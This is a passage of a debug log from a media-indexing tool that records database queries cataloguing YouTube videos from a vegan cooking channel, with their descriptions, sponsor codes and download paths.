Lasagna Soup That's Just $1 Per Serving/Meal Prep Lasagna Soup That's Just $1 Per Serving [0MEjwOQYvj4].NA", false, ~U[2025-09-24 00:00:00Z]] 20:31:06.571 [debug] QUERY OK source="sources" db=0.8ms idle=43.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.573 [debug] QUERY OK source="media_items" db=2.1ms idle=10.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-21 00:00:00Z], 1] 20:31:06.575 [debug] QUERY OK source="media_items" db=1.3ms idle=10.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nHang with me in this 'what I eat in a day' vlog! I show you what I get up to in a weekend, some healthy high protein vegan meals, realistic vegan food I ate, and also a fun day trip where I surprised my husband BIG time!\n\n💎 Thank you to MSBLUE Jewelry for sponsoring todays video! 💍 #MSBLUE #MSBLUEjewelry #msblueofficial #msbluerings\n✨15% off storewide code ➡️ 15Janelle\n✨Shop here ➡️ https://bit.ly/4nis8MP\n\n💎 Learn more about how MSBLUE is making a positive impact on our planet with every purchase 🌎\nhttps://msblue.com/en-ca/pages/how-we... \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these recipes next that were shown in this episode:\n3 of my fave juices: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Beginner\u00A0Juice\u00A0Recipes\u00A0(Carrot\u00A0A...\u00A0\u00A0\nHigh protein meal prep burritos: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Vegan\u00A0Burritos\u00A0with\u00A034g\u00A0Protein\u00A0...\u00A0\u00A0\n\nProducts featured in todays episode:\nHurom H70 Juicer: Save 10% off a juicer! \nCode: STEAMY10\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nCHECK ME OUT OVER HERE TOO!\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "Day in the life vlog (hang with me!) Realistic vegan food & surprising my hubby 😍", "9a0a471b-ccbb-4ee0-b206-f2e8ae9ac1f4", 1, [], false, "FVjxnBfjxYQ", "https://www.youtube.com/watch?v=FVjxnBfjxYQ", 56, "/downloads/downloads/alec/Steamy Vegan/2025-09-21 Day in the life vlog (hang with me!) Realistic vegan food & surprising my hubby 😍/Day in the life vlog (hang with me!) Realistic vegan food & surprising my hubby 😍 [FVjxnBfjxYQ].NA", false, false, false, 1, ~U[2025-09-21 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nHang with me in this 'what I eat in a day' vlog! I show you what I get up to in a weekend, some healthy high protein vegan meals, realistic vegan food I ate, and also a fun day trip where I surprised my husband BIG time!\n\n💎 Thank you to MSBLUE Jewelry for sponsoring todays video! 💍 #MSBLUE #MSBLUEjewelry #msblueofficial #msbluerings\n✨15% off storewide code ➡️ 15Janelle\n✨Shop here ➡️ https://bit.ly/4nis8MP\n\n💎 Learn more about how MSBLUE is making a positive impact on our planet with every purchase 🌎\nhttps://msblue.com/en-ca/pages/how-we... \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these recipes next that were shown in this episode:\n3 of my fave juices: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Beginner\u00A0Juice\u00A0Recipes\u00A0(Carrot\u00A0A...\u00A0\u00A0\nHigh protein meal prep burritos: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Vegan\u00A0Burritos\u00A0with\u00A034g\u00A0Protein\u00A0...\u00A0\u00A0\n\nProducts featured in todays episode:\nHurom H70 Juicer: Save 10% off a juicer! \nCode: STEAMY10\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nCHECK ME OUT OVER HERE TOO!\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "Day in the life vlog (hang with me!) Realistic vegan food & surprising my hubby 😍", 1, nil, false, "FVjxnBfjxYQ", "https://www.youtube.com/watch?v=FVjxnBfjxYQ", "/downloads/downloads/alec/Steamy Vegan/2025-09-21 Day in the life vlog (hang with me!) Realistic vegan food & surprising my hubby 😍/Day in the life vlog (hang with me!) Realistic vegan food & surprising my hubby 😍 [FVjxnBfjxYQ].NA", false, ~U[2025-09-21 00:00:00Z]] 20:31:06.576 [debug] QUERY OK source="sources" db=0.6ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.579 [debug] QUERY OK source="media_items" db=2.3ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-18 00:00:00Z], 1] 20:31:06.582 [debug] QUERY OK source="media_items" db=2.0ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nIn this Costco grocery haul, I'll show you all of the healthy, high-protein and vegan groceries I buy for a household of two. This Costco grocery haul was done in Vancouver, Canada so you may have different vegan options in your Costco as every location seems to vary a bit. Let me know which plant-based groceries you like to buy in your Costco in the comments! \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these recipes next that were shown in this episode:\nSesame Ginger Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nHomemade Sausages: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\nProtein Cereal: \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\nProtein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\nProtein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\nProtein Powder Review Video: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nIf there are any other recipes you saw that you can't find on my page just let me know in the comments and I'll get back to you!\n\nCHECK ME OUT OVER HERE TOO!\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "HEALTHY Costco Grocery Haul! 🛒 Vegan and High-Protein Groceries I Buy", "d6137fdc-c290-41e3-8b1c-a55f742e1d56", 1, [], false, "tuRnGrtwBZA", "https://www.youtube.com/watch?v=tuRnGrtwBZA", 57, "/downloads/downloads/alec/Steamy Vegan/2025-09-18 HEALTHY Costco Grocery Haul! 🛒 Vegan and High-Protein Groceries I Buy/HEALTHY Costco Grocery Haul! 🛒 Vegan and High-Protein Groceries I Buy [tuRnGrtwBZA].NA", false, false, false, 1, ~U[2025-09-18 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nIn this Costco grocery haul, I'll show you all of the healthy, high-protein and vegan groceries I buy for a household of two. This Costco grocery haul was done in Vancouver, Canada so you may have different vegan options in your Costco as every location seems to vary a bit. Let me know which plant-based groceries you like to buy in your Costco in the comments! \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these recipes next that were shown in this episode:\nSesame Ginger Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nHomemade Sausages: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\nProtein Cereal: \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\nProtein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\nProtein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\nProtein Powder Review Video: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nIf there are any other recipes you saw that you can't find on my page just let me know in the comments and I'll get back to you!\n\nCHECK ME OUT OVER HERE TOO!\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "HEALTHY Costco Grocery Haul! 🛒 Vegan and High-Protein Groceries I Buy", 1, nil, false, "tuRnGrtwBZA", "https://www.youtube.com/watch?v=tuRnGrtwBZA", "/downloads/downloads/alec/Steamy Vegan/2025-09-18 HEALTHY Costco Grocery Haul! 🛒 Vegan and High-Protein Groceries I Buy/HEALTHY Costco Grocery Haul! 🛒 Vegan and High-Protein Groceries I Buy [tuRnGrtwBZA].NA", false, ~U[2025-09-18 00:00:00Z]] 20:31:06.583 [debug] QUERY OK source="sources" db=0.6ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.585 [debug] QUERY OK source="media_items" db=1.7ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-13 00:00:00Z], 1] 20:31:06.587 [debug] QUERY OK source="media_items" db=1.4ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThese high protein meal prep burritos are not only delicious and healthy, but are so cheap to make at $1.50 per burrito! If you love cheap meal prep, these high protein burritos are for you. Perfect vegan meal prep for building lean muscle on a plant-based diet! \n\nGet the full recipe on my blog! ➡️ https://steamyvegan.com/high-protein-...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nPrice breakdown for the burritos:\n10x Tortillas = $2.53\n1 lbs dry black beans = $1.37\n2 Bell Peppers = $1.44\n1 zucchini = $0.87\n1 onion = $0.22\nTaco seasoning = $0.72\n10 tbsp Nutritional yeast = $2.82\n2 12-oz block extra firm tofu = $2.08\n1 jar salsa (10¼ cup servings) = $2.53\nTotal = $14.58\n\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n4. Protein Pizza: \u00A0\u00A0\u00A0•\u00A0This\u00A0PROTEIN\u00A0PIZZA\u00A0has\u00A092g\u00A0protein?!\u00A0🍕\u00A0(ve...\u00A0\u00A0\n5. Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Meal Prep Vegan Burritos with 34g Protein 🌯 ($1.50 EACH!)", "6401aad2-2b54-47e4-a098-5bee899f7b43", 1, [], false, "feuI2gzDRPw", "https://www.youtube.com/watch?v=feuI2gzDRPw", 58, "/downloads/downloads/alec/Steamy Vegan/2025-09-13 Meal Prep Vegan Burritos with 34g Protein 🌯 ($1.50 EACH!)/Meal Prep Vegan Burritos with 34g Protein 🌯 ($1.50 EACH!) [feuI2gzDRPw].NA", false, false, false, 1, ~U[2025-09-13 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThese high protein meal prep burritos are not only delicious and healthy, but are so cheap to make at $1.50 per burrito! If you love cheap meal prep, these high protein burritos are for you. Perfect vegan meal prep for building lean muscle on a plant-based diet! \n\nGet the full recipe on my blog! ➡️ https://steamyvegan.com/high-protein-...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nPrice breakdown for the burritos:\n10x Tortillas = $2.53\n1 lbs dry black beans = $1.37\n2 Bell Peppers = $1.44\n1 zucchini = $0.87\n1 onion = $0.22\nTaco seasoning = $0.72\n10 tbsp Nutritional yeast = $2.82\n2 12-oz block extra firm tofu = $2.08\n1 jar salsa (10¼ cup servings) = $2.53\nTotal = $14.58\n\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n4. Protein Pizza: \u00A0\u00A0\u00A0•\u00A0This\u00A0PROTEIN\u00A0PIZZA\u00A0has\u00A092g\u00A0protein?!\u00A0🍕\u00A0(ve...\u00A0\u00A0\n5. Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Meal Prep Vegan Burritos with 34g Protein 🌯 ($1.50 EACH!)", 1, nil, false, "feuI2gzDRPw", "https://www.youtube.com/watch?v=feuI2gzDRPw", "/downloads/downloads/alec/Steamy Vegan/2025-09-13 Meal Prep Vegan Burritos with 34g Protein 🌯 ($1.50 EACH!)/Meal Prep Vegan Burritos with 34g Protein 🌯 ($1.50 EACH!) [feuI2gzDRPw].NA", false, ~U[2025-09-13 00:00:00Z]] 20:31:06.588 [debug] QUERY OK source="sources" db=1.2ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.591 [debug] QUERY OK source="media_items" db=2.2ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-09 00:00:00Z], 1] 20:31:06.593 [debug] QUERY OK source="media_items" db=1.4ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThese vegan sausages crisp up on the outside, are juicy on the inside and use all whole foods while being gluten-free, oil-free, plant-based, and high protein at 26g of protein. Meal prep a bunch of these homemade sausages, toss them in the freezer, and enjoy them in all kinds of vegan recipes!\n\nGet the Vegan Sausages recipe on my blog! ➡️ https://steamyvegan.com/vegan-sausages/\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nUse Unflavored Protein Powder to Boost the Protein in these Sausages. I recommend any of these brands below, they've all worked great for me: \n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious Episodes You Might Be Interested In:\n1. Homemade Protein Cereal: \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\n2. Black Bean Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n3. Kung Pao Tofu Stir Fry: \u00A0\u00A0\u00A0•\u00A0Two\u00A0MUST\u00A0TRY\u00A0Tofu\u00A0Recipes!\u00A0🌶🔥\u00A0(Ft.\u00A0@Earthy...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "High-Protein Vegan Sausage Recipe (26g Protein, Gluten Free, No Oils, Whole Foods)", "07c8b85d-c06f-4f8d-8f4b-34778dd51aec", 1, [], false, "FdI5BG48BoQ", "https://www.youtube.com/watch?v=FdI5BG48BoQ", 59, "/downloads/downloads/alec/Steamy Vegan/2025-09-09 High-Protein Vegan Sausage Recipe (26g Protein, Gluten Free, No Oils, Whole Foods)/High-Protein Vegan Sausage Recipe (26g Protein, Gluten Free, No Oils, Whole Foods) [FdI5BG48BoQ].NA", false, false, false, 1, ~U[2025-09-09 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThese vegan sausages crisp up on the outside, are juicy on the inside and use all whole foods while being gluten-free, oil-free, plant-based, and high protein at 26g of protein. Meal prep a bunch of these homemade sausages, toss them in the freezer, and enjoy them in all kinds of vegan recipes!\n\nGet the Vegan Sausages recipe on my blog! ➡️ https://steamyvegan.com/vegan-sausages/\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nUse Unflavored Protein Powder to Boost the Protein in these Sausages. I recommend any of these brands below, they've all worked great for me: \n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious Episodes You Might Be Interested In:\n1. Homemade Protein Cereal: \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\n2. Black Bean Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n3. Kung Pao Tofu Stir Fry: \u00A0\u00A0\u00A0•\u00A0Two\u00A0MUST\u00A0TRY\u00A0Tofu\u00A0Recipes!\u00A0🌶🔥\u00A0(Ft.\u00A0@Earthy...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "High-Protein Vegan Sausage Recipe (26g Protein, Gluten Free, No Oils, Whole Foods)", 1, nil, false, "FdI5BG48BoQ", "https://www.youtube.com/watch?v=FdI5BG48BoQ", "/downloads/downloads/alec/Steamy Vegan/2025-09-09 High-Protein Vegan Sausage Recipe (26g Protein, Gluten Free, No Oils, Whole Foods)/High-Protein Vegan Sausage Recipe (26g Protein, Gluten Free, No Oils, Whole Foods) [FdI5BG48BoQ].NA", false, ~U[2025-09-09 00:00:00Z]] 20:31:06.594 [debug] QUERY OK source="sources" db=1.1ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.598 [debug] QUERY OK source="media_items" db=3.4ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-06 